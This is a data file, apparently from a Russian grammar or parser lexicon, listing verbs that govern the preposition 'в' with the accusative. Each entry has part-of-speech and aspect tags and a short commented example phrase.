rus_verbs:заковать{}, // заковать в кандалы
rus_verbs:свезти{}, // свезти в сарай
rus_verbs:притащиться{}, // притащиться в дом
rus_verbs:завербовать{}, // завербовать в разведку
rus_verbs:рубиться{}, // рубиться в компьютерные игры
rus_verbs:тыкаться{}, // тыкаться в материнскую грудь
инфинитив:ссыпать{ вид:несоверш }, инфинитив:ссыпать{ вид:соверш }, // ссыпать в контейнер
глагол:ссыпать{ вид:несоверш }, глагол:ссыпать{ вид:соверш },
деепричастие:ссыпав{}, деепричастие:ссыпая{},
rus_verbs:засасывать{}, // засасывать в себя
rus_verbs:скакнуть{}, // скакнуть в будущее
rus_verbs:подвозить{}, // подвозить в театр
rus_verbs:переиграть{}, // переиграть в покер
rus_verbs:мобилизовать{}, // мобилизовать в действующую армию
rus_verbs:залетать{}, // залетать в закрытое воздушное пространство
rus_verbs:подышать{}, // подышать в трубочку
rus_verbs:смотаться{}, // смотаться в институт
rus_verbs:рассовать{}, // рассовать в кармашки
rus_verbs:захаживать{}, // захаживать в дом
инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять в ломбард
деепричастие:сгоняя{},
rus_verbs:посылаться{}, // посылаться в порт
rus_verbs:отлить{}, // отлить в кастрюлю
rus_verbs:преобразоваться{}, // преобразоваться в линейное уравнение
rus_verbs:поплакать{}, // поплакать в платочек
rus_verbs:обуться{}, // обуться в сапоги
rus_verbs:закапать{}, // закапать в глаза
инфинитив:свозить{ вид:несоверш }, инфинитив:свозить{ вид:соверш }, // свозить в центр утилизации
глагол:свозить{ вид:несоверш }, глагол:свозить{ вид:соверш },
деепричастие:свозив{}, деепричастие:свозя{},
rus_verbs:преобразовать{}, // преобразовать в линейное уравнение
rus_verbs:кутаться{}, // кутаться в плед
rus_verbs:смещаться{}, // смещаться в сторону
rus_verbs:зазывать{}, // зазывать в свой магазин
инфинитив:трансформироваться{ вид:несоверш }, инфинитив:трансформироваться{ вид:соверш }, // трансформироваться в комбинезон
глагол:трансформироваться{ вид:несоверш }, глагол:трансформироваться{ вид:соверш },
деепричастие:трансформируясь{}, деепричастие:трансформировавшись{},
rus_verbs:погружать{}, // погружать в кипящее масло
rus_verbs:обыграть{}, // обыграть в теннис
rus_verbs:закутать{}, // закутать в одеяло
rus_verbs:изливаться{}, // изливаться в воду
rus_verbs:закатывать{}, // закатывать в асфальт
rus_verbs:мотнуться{}, // мотнуться в банк
rus_verbs:избираться{}, // избираться в сенат
rus_verbs:наниматься{}, // наниматься в услужение
rus_verbs:настучать{}, // настучать в органы
rus_verbs:запихивать{}, // запихивать в печку
rus_verbs:закапывать{}, // закапывать в нос
rus_verbs:засобираться{}, // засобираться в поход
rus_verbs:копировать{}, // копировать в другую папку
rus_verbs:замуровать{}, // замуровать в стену
rus_verbs:упечь{}, // упечь в тюрьму
rus_verbs:зрить{}, // зрить в корень
rus_verbs:стягиваться{}, // стягиваться в одну точку
rus_verbs:усаживать{}, // усаживать в тренажер
rus_verbs:протолкнуть{}, // протолкнуть в отверстие
rus_verbs:расшибиться{}, // расшибиться в лепешку
rus_verbs:приглашаться{}, // приглашаться в кабинет
rus_verbs:садить{}, // садить в телегу
rus_verbs:уткнуть{}, // уткнуть в подушку
rus_verbs:протечь{}, // протечь в подвал
rus_verbs:перегнать{}, // перегнать в другую страну
rus_verbs:переползти{}, // переползти в тень
rus_verbs:зарываться{}, // зарываться в грунт
rus_verbs:переодеть{}, // переодеть в сухую одежду
rus_verbs:припуститься{}, // припуститься в пляс
rus_verbs:лопотать{}, // лопотать в микрофон
rus_verbs:прогнусавить{}, // прогнусавить в микрофон
rus_verbs:мочиться{}, // мочиться в штаны
rus_verbs:загружать{}, // загружать в патронник
rus_verbs:радировать{}, // радировать в центр
rus_verbs:промотать{}, // промотать в конец
rus_verbs:помчать{}, // помчать в школу
rus_verbs:съезжать{}, // съезжать в кювет
rus_verbs:завозить{}, // завозить в магазин
rus_verbs:заявляться{}, // заявляться в школу
rus_verbs:наглядеться{}, // наглядеться в зеркало
rus_verbs:сворачиваться{}, // сворачиваться в клубочек
rus_verbs:устремлять{}, // устремлять взор в будущее
rus_verbs:забредать{}, // забредать в глухие уголки
rus_verbs:перемотать{}, // перемотать в самое начало диалога
rus_verbs:сморкаться{}, // сморкаться в носовой платочек
rus_verbs:перетекать{}, // перетекать в другой сосуд
rus_verbs:закачать{}, // закачать в шарик
rus_verbs:запрятать{}, // запрятать в сейф
rus_verbs:пинать{}, // пинать в живот
rus_verbs:затрубить{}, // затрубить в горн
rus_verbs:подглядывать{}, // подглядывать в замочную скважину
инфинитив:подсыпать{ вид:соверш }, инфинитив:подсыпать{ вид:несоверш }, // подсыпать в питье
глагол:подсыпать{ вид:соверш }, глагол:подсыпать{ вид:несоверш },
деепричастие:подсыпав{}, деепричастие:подсыпая{},
rus_verbs:засовывать{}, // засовывать в пенал
rus_verbs:отрядить{}, // отрядить в командировку
rus_verbs:справлять{}, // справлять в кусты
rus_verbs:поторапливаться{}, // поторапливаться в самолет
rus_verbs:скопировать{}, // скопировать в кэш
rus_verbs:подливать{}, // подливать в огонь
rus_verbs:запрячь{}, // запрячь в повозку
rus_verbs:окраситься{}, // окраситься в пурпур
rus_verbs:уколоть{}, // уколоть в шею
rus_verbs:слететься{}, // слететься в гнездо
rus_verbs:резаться{}, // резаться в карты
rus_verbs:затесаться{}, // затесаться в ряды оппозиционеров
инфинитив:задвигать{ вид:несоверш }, глагол:задвигать{ вид:несоверш }, // задвигать в ячейку (несоверш)
деепричастие:задвигая{},
rus_verbs:доставляться{}, // доставляться в ресторан
rus_verbs:поплевать{}, // поплевать в чашку
rus_verbs:попереться{}, // попереться в магазин
rus_verbs:хаживать{}, // хаживать в церковь
rus_verbs:преображаться{}, // преображаться в королеву
rus_verbs:организоваться{}, // организоваться в группу
rus_verbs:ужалить{}, // ужалить в руку
rus_verbs:протискиваться{}, // протискиваться в аудиторию
rus_verbs:препроводить{}, // препроводить в закуток
rus_verbs:разъезжаться{}, // разъезжаться в разные стороны
rus_verbs:пропыхтеть{}, // пропыхтеть в трубку
rus_verbs:уволочь{}, // уволочь в нору
rus_verbs:отодвигаться{}, // отодвигаться в сторону
rus_verbs:разливать{}, // разливать в стаканы
rus_verbs:сбегаться{}, // сбегаться в актовый зал
rus_verbs:наведаться{}, // наведаться в кладовку
rus_verbs:перекочевать{}, // перекочевать в горы
rus_verbs:прощебетать{}, // прощебетать в трубку
rus_verbs:перекладывать{}, // перекладывать в другой карман
rus_verbs:углубляться{}, // углубляться в теорию
rus_verbs:переименовать{}, // переименовать в город
rus_verbs:переметнуться{}, // переметнуться в лагерь противника
rus_verbs:разносить{}, // разносить в щепки
rus_verbs:осыпаться{}, // осыпаться в холода
rus_verbs:попроситься{}, // попроситься в туалет
rus_verbs:уязвить{}, // уязвить в сердце
rus_verbs:перетащить{}, // перетащить в дом
rus_verbs:закутаться{}, // закутаться в плед
// rus_verbs:упаковать{}, // упаковать в бумагу
инфинитив:тикать{ aux stress="тик^ать" }, глагол:тикать{ aux stress="тик^ать" }, // тикать в крепость
rus_verbs:хихикать{}, // хихикать в кулачок
rus_verbs:объединить{}, // объединить в сеть
инфинитив:слетать{ вид:соверш }, глагол:слетать{ вид:соверш }, // слетать в Калифорнию
деепричастие:слетав{},
rus_verbs:заползти{}, // заползти в норку
rus_verbs:перерасти{}, // перерасти в крупную аферу
rus_verbs:списать{}, // списать в утиль
rus_verbs:просачиваться{}, // просачиваться в бункер
rus_verbs:пускаться{}, // пускаться в погоню
rus_verbs:согревать{}, // согревать в мороз
rus_verbs:наливаться{}, // наливаться в емкость
rus_verbs:унестись{}, // унестись в небо
rus_verbs:зашвырнуть{}, // зашвырнуть в шкаф
rus_verbs:сигануть{}, // сигануть в воду
rus_verbs:окунуть{}, // окунуть в ледяную воду
rus_verbs:просочиться{}, // просочиться в сапог
rus_verbs:соваться{}, // соваться в толпу
rus_verbs:протолкаться{}, // протолкаться в гардероб
rus_verbs:заложить{}, // заложить в ломбард
rus_verbs:перекатить{}, // перекатить в сарай
rus_verbs:поставлять{}, // поставлять в Китай
rus_verbs:залезать{}, // залезать в долги
rus_verbs:отлучаться{}, // отлучаться в туалет
rus_verbs:сбиваться{}, // сбиваться в кучу
rus_verbs:зарыть{}, // зарыть в землю
rus_verbs:засадить{}, // засадить в тело
rus_verbs:прошмыгнуть{}, // прошмыгнуть в дверь
rus_verbs:переставить{}, // переставить в шкаф
rus_verbs:отчалить{}, // отчалить в плавание
rus_verbs:набираться{}, // набираться в команду
rus_verbs:лягнуть{}, // лягнуть в живот
rus_verbs:притворить{}, // притворить в жизнь
rus_verbs:проковылять{}, // проковылять в гардероб
rus_verbs:прикатить{}, // прикатить в гараж
rus_verbs:залететь{}, // залететь в окно
rus_verbs:переделать{}, // переделать в мопед
rus_verbs:протащить{}, // протащить в совет
rus_verbs:обмакнуть{}, // обмакнуть в воду
rus_verbs:отклоняться{}, // отклоняться в сторону
rus_verbs:запихать{}, // запихать в пакет
rus_verbs:избирать{}, // избирать в совет
rus_verbs:загрузить{}, // загрузить в буфер
rus_verbs:уплывать{}, // уплывать в Париж
rus_verbs:забивать{}, // забивать в мерзлоту
rus_verbs:потыкать{}, // потыкать в безжизненную тушу
rus_verbs:съезжаться{}, // съезжаться в санаторий
rus_verbs:залепить{}, // залепить в рыло
rus_verbs:набиться{}, // набиться в карманы
rus_verbs:уползти{}, // уползти в нору
rus_verbs:упрятать{}, // упрятать в камеру
rus_verbs:переместить{}, // переместить в камеру анабиоза
rus_verbs:закрасться{}, // закрасться в душу
rus_verbs:сместиться{}, // сместиться в инфракрасную область
rus_verbs:запускать{}, // запускать в серию
rus_verbs:потрусить{}, // потрусить в чащобу
rus_verbs:забрасывать{}, // забрасывать в чистую воду
rus_verbs:переселить{}, // переселить в отдаленную деревню
rus_verbs:переезжать{}, // переезжать в новую квартиру
rus_verbs:приподнимать{}, // приподнимать в воздух
rus_verbs:добавиться{}, // добавиться в конец очереди
rus_verbs:убыть{}, // убыть в часть
rus_verbs:передвигать{}, // передвигать в соседнюю клетку
rus_verbs:добавляться{}, // добавляться в очередь
rus_verbs:дописать{}, // дописать в перечень
rus_verbs:записываться{}, // записываться в кружок
rus_verbs:продаться{}, // продаться в кредитное рабство
rus_verbs:переписывать{}, // переписывать в тетрадку
rus_verbs:заплыть{}, // заплыть в территориальные воды
инфинитив:пописать{ aux stress="поп^исать" }, инфинитив:пописать{ aux stress="попис^ать" }, // пописать в горшок
глагол:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="попис^ать" },
rus_verbs:отбирать{}, // отбирать в гвардию
rus_verbs:нашептывать{}, // нашептывать в микрофон
rus_verbs:ковылять{}, // ковылять в стойло
rus_verbs:прилетать{}, // прилетать в Париж
rus_verbs:пролиться{}, // пролиться в канализацию
rus_verbs:запищать{}, // запищать в микрофон
rus_verbs:подвезти{}, // подвезти в больницу
rus_verbs:припереться{}, // припереться в театр
rus_verbs:утечь{}, // утечь в сеть
rus_verbs:прорываться{}, // прорываться в буфет
rus_verbs:увозить{}, // увозить в ремонт
rus_verbs:съедать{}, // съедать в обед
rus_verbs:просунуться{}, // просунуться в дверь
rus_verbs:перенестись{}, // перенестись в прошлое
rus_verbs:завезти{}, // завезти в магазин
rus_verbs:проложить{}, // проложить в деревню
rus_verbs:объединяться{}, // объединяться в профсоюз
rus_verbs:развиться{}, // развиться в бабочку
rus_verbs:засеменить{}, // засеменить в кабинку
rus_verbs:скатываться{}, // скатываться в яму
rus_verbs:завозиться{}, // завозиться в магазин
rus_verbs:нанимать{}, // нанимать в рейс
rus_verbs:поспеть{}, // поспеть в класс
rus_verbs:кидаться{}, // кинаться в крайности
rus_verbs:поспевать{}, // поспевать в оперу
rus_verbs:обернуть{}, // обернуть в фольгу
rus_verbs:обратиться{}, // обратиться в прокуратуру
rus_verbs:истолковать{}, // истолковать в свою пользу
rus_verbs:таращиться{}, // таращиться в дисплей
rus_verbs:прыснуть{}, // прыснуть в кулачок
rus_verbs:загнуть{}, // загнуть в другую сторону
rus_verbs:раздать{}, // раздать в разные руки
rus_verbs:назначить{}, // назначить в приемную комиссию
rus_verbs:кидать{}, // кидать в кусты
rus_verbs:увлекать{}, // увлекать в лес
rus_verbs:переселиться{}, // переселиться в чужое тело
rus_verbs:присылать{}, // присылать в город
rus_verbs:уплыть{}, // уплыть в Европу
rus_verbs:запричитать{}, // запричитать в полный голос
rus_verbs:утащить{}, // утащить в логово
rus_verbs:завернуться{}, // завернуться в плед
rus_verbs:заносить{}, // заносить в блокнот
rus_verbs:пятиться{}, // пятиться в дом
rus_verbs:наведываться{}, // наведываться в больницу
rus_verbs:нырять{}, // нырять в прорубь
rus_verbs:зачастить{}, // зачастить в бар
rus_verbs:назначаться{}, // назначается в комиссию
rus_verbs:мотаться{}, // мотаться в областной центр
rus_verbs:разыграть{}, // разыграть в карты
rus_verbs:пропищать{}, // пропищать в микрофон
rus_verbs:пихнуть{}, // пихнуть в бок
rus_verbs:эмигрировать{}, // эмигрировать в Канаду
rus_verbs:подключить{}, // подключить в сеть
rus_verbs:упереть{}, // упереть в фундамент
rus_verbs:уплатить{}, // уплатить в кассу
rus_verbs:потащиться{}, // потащиться в медпункт
rus_verbs:пригнать{}, // пригнать в стойло
rus_verbs:оттеснить{}, // оттеснить в фойе
rus_verbs:стучаться{}, // стучаться в ворота
rus_verbs:перечислить{}, // перечислить в фонд
rus_verbs:сомкнуть{}, // сомкнуть в круг
rus_verbs:закачаться{}, // закачаться в резервуар
rus_verbs:кольнуть{}, // кольнуть в бок
rus_verbs:накрениться{}, // накрениться в сторону берега
rus_verbs:подвинуться{}, // подвинуться в другую сторону
rus_verbs:разнести{}, // разнести в клочья
rus_verbs:отливать{}, // отливать в форму
rus_verbs:подкинуть{}, // подкинуть в карман
rus_verbs:уводить{}, // уводить в кабинет
rus_verbs:ускакать{}, // ускакать в школу
rus_verbs:ударять{}, // ударять в барабаны
rus_verbs:даться{}, // даться в руки
rus_verbs:поцеловаться{}, // поцеловаться в губы
rus_verbs:посветить{}, // посветить в подвал
rus_verbs:тыкать{}, // тыкать в арбуз
rus_verbs:соединяться{}, // соединяться в кольцо
rus_verbs:растянуть{}, // растянуть в тонкую ниточку
rus_verbs:побросать{}, // побросать в пыль
rus_verbs:стукнуться{}, // стукнуться в закрытую дверь
rus_verbs:проигрывать{}, // проигрывать в теннис
rus_verbs:дунуть{}, // дунуть в трубочку
rus_verbs:улетать{}, // улетать в Париж
rus_verbs:переводиться{}, // переводиться в филиал
rus_verbs:окунуться{}, // окунуться в водоворот событий
rus_verbs:попрятаться{}, // попрятаться в норы
rus_verbs:перевезти{}, // перевезти в соседнюю палату
rus_verbs:топать{}, // топать в школу
rus_verbs:относить{}, // относить в помещение
rus_verbs:укладывать{}, // укладывать в стопку
rus_verbs:укатить{}, // укатил в турне
rus_verbs:убирать{}, // убирать в сумку
rus_verbs:помалкивать{}, // помалкивать в тряпочку
rus_verbs:ронять{}, // ронять в грязь
rus_verbs:глазеть{}, // глазеть в бинокль
rus_verbs:преобразиться{}, // преобразиться в другого человека
rus_verbs:запрыгнуть{}, // запрыгнуть в поезд
rus_verbs:сгодиться{}, // сгодиться в суп
rus_verbs:проползти{}, // проползти в нору
rus_verbs:забираться{}, // забираться в коляску
rus_verbs:сбежаться{}, // сбежались в класс
rus_verbs:закатиться{}, // закатиться в угол
rus_verbs:плевать{}, // плевать в душу
rus_verbs:поиграть{}, // поиграть в демократию
rus_verbs:кануть{}, // кануть в небытие
rus_verbs:опаздывать{}, // опаздывать в школу
rus_verbs:отползти{}, // отползти в сторону
rus_verbs:стекаться{}, // стекаться в отстойник
rus_verbs:запихнуть{}, // запихнуть в пакет
rus_verbs:вышвырнуть{}, // вышвырнуть в коридор
rus_verbs:связываться{}, // связываться в плотный узел
rus_verbs:затолкать{}, // затолкать в ухо
rus_verbs:скрутить{}, // скрутить в трубочку
rus_verbs:сворачивать{}, // сворачивать в трубочку
rus_verbs:сплестись{}, // сплестись в узел
rus_verbs:заскочить{}, // заскочить в кабинет
rus_verbs:проваливаться{}, // проваливаться в сон
rus_verbs:уверовать{}, // уверовать в свою безнаказанность
rus_verbs:переписать{}, // переписать в тетрадку
rus_verbs:переноситься{}, // переноситься в мир фантазий
rus_verbs:заводить{}, // заводить в помещение
rus_verbs:сунуться{}, // сунуться в аудиторию
rus_verbs:устраиваться{}, // устраиваться в автомастерскую
rus_verbs:пропускать{}, // пропускать в зал
инфинитив:сбегать{ вид:несоверш }, инфинитив:сбегать{ вид:соверш }, // сбегать в кино
глагол:сбегать{ вид:несоверш }, глагол:сбегать{ вид:соверш },
деепричастие:сбегая{}, деепричастие:сбегав{},
rus_verbs:прибегать{}, // прибегать в школу
rus_verbs:съездить{}, // съездить в лес
rus_verbs:захлопать{}, // захлопать в ладошки
rus_verbs:опрокинуться{}, // опрокинуться в грязь
инфинитив:насыпать{ вид:несоверш }, инфинитив:насыпать{ вид:соверш }, // насыпать в стакан
глагол:насыпать{ вид:несоверш }, глагол:насыпать{ вид:соверш },
деепричастие:насыпая{}, деепричастие:насыпав{},
rus_verbs:употреблять{}, // употреблять в пищу
rus_verbs:приводиться{}, // приводиться в действие
rus_verbs:пристроить{}, // пристроить в надежные руки
rus_verbs:юркнуть{}, // юркнуть в нору
rus_verbs:объединиться{}, // объединиться в банду
rus_verbs:сажать{}, // сажать в одиночку
rus_verbs:соединить{}, // соединить в кольцо
rus_verbs:забрести{}, // забрести в кафешку
rus_verbs:свернуться{}, // свернуться в клубочек
rus_verbs:пересесть{}, // пересесть в другой автобус
rus_verbs:постучаться{}, // постучаться в дверцу
rus_verbs:соединять{}, // соединять в кольцо
rus_verbs:приволочь{}, // приволочь в коморку
rus_verbs:смахивать{}, // смахивать в ящик стола
rus_verbs:забежать{}, // забежать в помещение
rus_verbs:целиться{}, // целиться в беглеца
rus_verbs:прокрасться{}, // прокрасться в хранилище
rus_verbs:заковылять{}, // заковылять в травтамологию
rus_verbs:прискакать{}, // прискакать в стойло
rus_verbs:колотить{}, // колотить в дверь
rus_verbs:смотреться{}, // смотреться в зеркало
rus_verbs:подложить{}, // подложить в салон
rus_verbs:пущать{}, // пущать в королевские покои
rus_verbs:согнуть{}, // согнуть в дугу
rus_verbs:забарабанить{}, // забарабанить в дверь
rus_verbs:отклонить{}, // отклонить в сторону посадочной полосы
rus_verbs:убраться{}, // убраться в специальную нишу
rus_verbs:насмотреться{}, // насмотреться в зеркало
rus_verbs:чмокнуть{}, // чмокнуть в щечку
rus_verbs:усмехаться{}, // усмехаться в бороду
rus_verbs:передвинуть{}, // передвинуть в конец очереди
rus_verbs:допускаться{}, // допускаться в опочивальню
rus_verbs:задвинуть{}, // задвинуть в дальний угол
rus_verbs:отправлять{}, // отправлять в центр
rus_verbs:сбрасывать{}, // сбрасывать в жерло
rus_verbs:расстреливать{}, // расстреливать в момент обнаружения
rus_verbs:заволочь{}, // заволочь в закуток
rus_verbs:пролить{}, // пролить в воду
rus_verbs:зарыться{}, // зарыться в сено
rus_verbs:переливаться{}, // переливаться в емкость
rus_verbs:затащить{}, // затащить в клуб
rus_verbs:перебежать{}, // перебежать в лагерь врагов
rus_verbs:одеть{}, // одеть в новое платье
инфинитив:задвигаться{ вид:несоверш }, глагол:задвигаться{ вид:несоверш }, // задвигаться в нишу
деепричастие:задвигаясь{},
rus_verbs:клюнуть{}, // клюнуть в темечко
rus_verbs:наливать{}, // наливать в кружку
rus_verbs:пролезть{}, // пролезть в ушко
rus_verbs:откладывать{}, // откладывать в ящик
rus_verbs:протянуться{}, // протянуться в соседний дом
rus_verbs:шлепнуться{}, // шлепнуться лицом в грязь
rus_verbs:устанавливать{}, // устанавливать в машину
rus_verbs:употребляться{}, // употребляться в пищу
rus_verbs:переключиться{}, // переключиться в реверсный режим
rus_verbs:пискнуть{}, // пискнуть в микрофон
rus_verbs:заявиться{}, // заявиться в класс
rus_verbs:налиться{}, // налиться в стакан
rus_verbs:заливать{}, // заливать в бак
rus_verbs:ставиться{}, // ставиться в очередь
инфинитив:писаться{ aux stress="п^исаться" }, глагол:писаться{ aux stress="п^исаться" }, // писаться в штаны
деепричастие:писаясь{},
rus_verbs:целоваться{}, // целоваться в губы
rus_verbs:наносить{}, // наносить в область сердца
rus_verbs:посмеяться{}, // посмеяться в кулачок
rus_verbs:употребить{}, // употребить в пищу
rus_verbs:прорваться{}, // прорваться в столовую
rus_verbs:укладываться{}, // укладываться в ровные стопки
rus_verbs:пробиться{}, // пробиться в финал
rus_verbs:забить{}, // забить в землю
rus_verbs:переложить{}, // переложить в другой карман
rus_verbs:опускать{}, // опускать в свежевырытую могилу
rus_verbs:поторопиться{}, // поторопиться в школу
rus_verbs:сдвинуться{}, // сдвинуться в сторону
rus_verbs:капать{}, // капать в смесь
rus_verbs:погружаться{}, // погружаться во тьму
rus_verbs:направлять{}, // направлять в кабинку
rus_verbs:погрузить{}, // погрузить во тьму
rus_verbs:примчаться{}, // примчаться в школу
rus_verbs:упираться{}, // упираться в дверь
rus_verbs:удаляться{}, // удаляться в комнату совещаний
rus_verbs:ткнуться{}, // ткнуться в окошко
rus_verbs:убегать{}, // убегать в чащу
rus_verbs:соединиться{}, // соединиться в необычную пространственную фигуру
rus_verbs:наговорить{}, // наговорить в микрофон
rus_verbs:переносить{}, // переносить в дом
rus_verbs:прилечь{}, // прилечь в кроватку
rus_verbs:поворачивать{}, // поворачивать в обратную сторону
rus_verbs:проскочить{}, // проскочить в щель
rus_verbs:совать{}, // совать в духовку
rus_verbs:переодеться{}, // переодеться в чистую одежду
rus_verbs:порвать{}, // порвать в лоскуты
rus_verbs:завязать{}, // завязать в бараний рог
rus_verbs:съехать{}, // съехать в кювет
rus_verbs:литься{}, // литься в канистру
rus_verbs:уклониться{}, // уклониться в левую сторону
rus_verbs:смахнуть{}, // смахнуть в мусорное ведро
rus_verbs:спускать{}, // спускать в шахту
rus_verbs:плеснуть{}, // плеснуть в воду
rus_verbs:подуть{}, // подуть в угольки
rus_verbs:набирать{}, // набирать в команду
rus_verbs:хлопать{}, // хлопать в ладошки
rus_verbs:ранить{}, // ранить в самое сердце
rus_verbs:посматривать{}, // посматривать в иллюминатор
rus_verbs:превращать{}, // превращать воду в вино
rus_verbs:толкать{}, // толкать в пучину
rus_verbs:отбыть{}, // отбыть в расположение части
rus_verbs:сгрести{}, // сгрести в карман
rus_verbs:удрать{}, // удрать в тайгу
rus_verbs:пристроиться{}, // пристроиться в хорошую фирму
rus_verbs:сбиться{}, // сбиться в плотную группу
rus_verbs:заключать{}, // заключать в объятия
rus_verbs:отпускать{}, // отпускать в поход
rus_verbs:устремить{}, // устремить взгляд в будущее
rus_verbs:обронить{}, // обронить в траву
rus_verbs:сливаться{}, // сливаться в речку
rus_verbs:стекать{}, // стекать в канаву
rus_verbs:свалить{}, // свалить в кучу
rus_verbs:подтянуть{}, // подтянуть в кабину
rus_verbs:скатиться{}, // скатиться в канаву
rus_verbs:проскользнуть{}, // проскользнуть в приоткрытую дверь
rus_verbs:заторопиться{}, // заторопиться в буфет
rus_verbs:протиснуться{}, // протиснуться в центр толпы
rus_verbs:прятать{}, // прятать в укромненькое местечко
rus_verbs:пропеть{}, // пропеть в микрофон
rus_verbs:углубиться{}, // углубиться в джунгли
rus_verbs:сползти{}, // сползти в яму
rus_verbs:записывать{}, // записывать в память
rus_verbs:расстрелять{}, // расстрелять в упор (наречный оборот В УПОР)
rus_verbs:колотиться{}, // колотиться в дверь
rus_verbs:просунуть{}, // просунуть в отверстие
rus_verbs:провожать{}, // провожать в армию
rus_verbs:катить{}, // катить в гараж
rus_verbs:поражать{}, // поражать в самое сердце
rus_verbs:отлететь{}, // отлететь в дальний угол
rus_verbs:закинуть{}, // закинуть в речку
rus_verbs:катиться{}, // катиться в пропасть
rus_verbs:забросить{}, // забросить в дальний угол
rus_verbs:отвезти{}, // отвезти в лагерь
rus_verbs:втопить{}, // втопить педаль в пол
rus_verbs:втапливать{}, // втапливать педать в пол
rus_verbs:утопить{}, // утопить кнопку в панель
rus_verbs:напасть{}, // В Пекине участники антияпонских протестов напали на машину посла США
rus_verbs:нанять{}, // Босс нанял в службу поддержки еще несколько девушек
rus_verbs:переводить{}, // переводить в устойчивую к перегреву форму
rus_verbs:баллотировать{}, // претендент был баллотирован в жюри (баллотирован?)
rus_verbs:вбухать{}, // Власти вбухали в этой проект много денег
rus_verbs:вбухивать{}, // Власти вбухивают в этот проект очень много денег
rus_verbs:поскакать{}, // поскакать в атаку
rus_verbs:прицелиться{}, // прицелиться в бегущего зайца
rus_verbs:прыгать{}, // прыгать в кровать
rus_verbs:приглашать{}, // приглашать в дом
rus_verbs:понестись{}, // понестись в ворота
rus_verbs:заехать{}, // заехать в гаражный бокс
rus_verbs:опускаться{}, // опускаться в бездну
rus_verbs:переехать{}, // переехать в коттедж
rus_verbs:поместить{}, // поместить в карантин
rus_verbs:ползти{}, // ползти в нору
rus_verbs:добавлять{}, // добавлять в корзину
rus_verbs:уткнуться{}, // уткнуться в подушку
rus_verbs:продавать{}, // продавать в рабство
rus_verbs:спрятаться{}, // Белка спрячется в дупло.
rus_verbs:врисовывать{}, // врисовывать новый персонаж в анимацию
rus_verbs:воткнуть{}, // воткни вилку в розетку
rus_verbs:нести{}, // нести в больницу
rus_verbs:воткнуться{}, // вилка воткнулась в сочную котлетку
rus_verbs:впаивать{}, // впаивать деталь в плату
rus_verbs:впаиваться{}, // деталь впаивается в плату
rus_verbs:впархивать{}, // впархивать в помещение
rus_verbs:впаять{}, // впаять деталь в плату
rus_verbs:впендюривать{}, // впендюривать штукенцию в агрегат
rus_verbs:впендюрить{}, // впендюрить штукенцию в агрегат
rus_verbs:вперивать{}, // вперивать взгляд в экран
rus_verbs:впериваться{}, // впериваться в экран
rus_verbs:вперить{}, // вперить взгляд в экран
rus_verbs:впериться{}, // впериться в экран
rus_verbs:вперять{}, // вперять взгляд в экран
rus_verbs:вперяться{}, // вперяться в экран
rus_verbs:впечатать{}, // впечатать текст в первую главу
rus_verbs:впечататься{}, // впечататься в стену
rus_verbs:впечатывать{}, // впечатывать текст в первую главу
rus_verbs:впечатываться{}, // впечатываться в стену
rus_verbs:впиваться{}, // Хищник впивается в жертву мощными зубами
rus_verbs:впитаться{}, // Жидкость впиталась в ткань
rus_verbs:впитываться{}, // Жидкость впитывается в ткань
rus_verbs:впихивать{}, // Мама впихивает в сумку кусок колбасы
rus_verbs:впихиваться{}, // Кусок колбасы впихивается в сумку
rus_verbs:впихнуть{}, // Мама впихнула кастрюлю в холодильник
rus_verbs:впихнуться{}, // Кастрюля впихнулась в холодильник
rus_verbs:вплавиться{}, // Провод вплавился в плату
rus_verbs:вплеснуть{}, // вплеснуть краситель в бак
rus_verbs:вплести{}, // вплести ленту в волосы
rus_verbs:вплестись{}, // вплестись в волосы
rus_verbs:вплетать{}, // вплетать ленты в волосы
rus_verbs:вплывать{}, // корабль вплывает в порт
rus_verbs:вплыть{}, // яхта вплыла в бухту
rus_verbs:вползать{}, // дракон вползает в пещеру
rus_verbs:вползти{}, // дракон вполз в свою пещеру
rus_verbs:впорхнуть{}, // бабочка впорхнула в окно
rus_verbs:впрессовать{}, // впрессовать деталь в плиту
rus_verbs:впрессоваться{}, // впрессоваться в плиту
rus_verbs:впрессовывать{}, // впрессовывать деталь в плиту
rus_verbs:впрессовываться{}, // впрессовываться в плиту
rus_verbs:впрыгивать{}, // Пассажир впрыгивает в вагон
rus_verbs:впрыгнуть{}, // Пассажир впрыгнул в вагон
rus_verbs:впрыскивать{}, // Форсунка впрыскивает топливо в цилиндр
rus_verbs:впрыскиваться{}, // Топливо впрыскивается форсункой в цилиндр
rus_verbs:впрыснуть{}, // Форсунка впрыснула топливную смесь в камеру сгорания
rus_verbs:впрягать{}, // впрягать лошадь в телегу
rus_verbs:впрягаться{}, // впрягаться в работу
rus_verbs:впрячь{}, // впрячь лошадь в телегу
rus_verbs:впрячься{}, // впрячься в работу
rus_verbs:впускать{}, // впускать посетителей в музей
rus_verbs:впускаться{}, // впускаться в помещение
rus_verbs:впустить{}, // впустить посетителей в музей
rus_verbs:впутать{}, // впутать кого-то во что-то
rus_verbs:впутаться{}, // впутаться во что-то
rus_verbs:впутывать{}, // впутывать кого-то во что-то
rus_verbs:впутываться{}, // впутываться во что-то
rus_verbs:врабатываться{}, // врабатываться в режим
rus_verbs:вработаться{}, // вработаться в режим
rus_verbs:врастать{}, // врастать в кожу
rus_verbs:врасти{}, // врасти в кожу
инфинитив:врезать{ вид:несоверш }, // врезать замок в дверь
инфинитив:врезать{ вид:соверш },
глагол:врезать{ вид:несоверш },
глагол:врезать{ вид:соверш },
деепричастие:врезая{},
деепричастие:врезав{},
прилагательное:врезанный{},
инфинитив:врезаться{ вид:несоверш }, // врезаться в стену
инфинитив:врезаться{ вид:соверш },
глагол:врезаться{ вид:несоверш },
деепричастие:врезаясь{},
деепричастие:врезавшись{},
rus_verbs:врубить{}, // врубить в нагрузку
rus_verbs:врываться{}, // врываться в здание
rus_verbs:закачивать{}, // Насос закачивает топливо в бак
rus_verbs:ввезти{}, // Предприятие ввезло товар в страну
rus_verbs:вверстать{}, // Дизайнер вверстал блок в страницу
rus_verbs:вверстывать{}, // Дизайнер с трудом вверстывает блоки в страницу
rus_verbs:вверстываться{}, // Блок тяжело вверстывается в эту страницу
rus_verbs:ввивать{}, // Женщина ввивает полоску в косу
rus_verbs:вволакиваться{}, // Пойманная мышь вволакивается котиком в дом
rus_verbs:вволочь{}, // Кот вволок в дом пойманную крысу
rus_verbs:вдергивать{}, // приспособление вдергивает нитку в игольное ушко
rus_verbs:вдернуть{}, // приспособление вдернуло нитку в игольное ушко
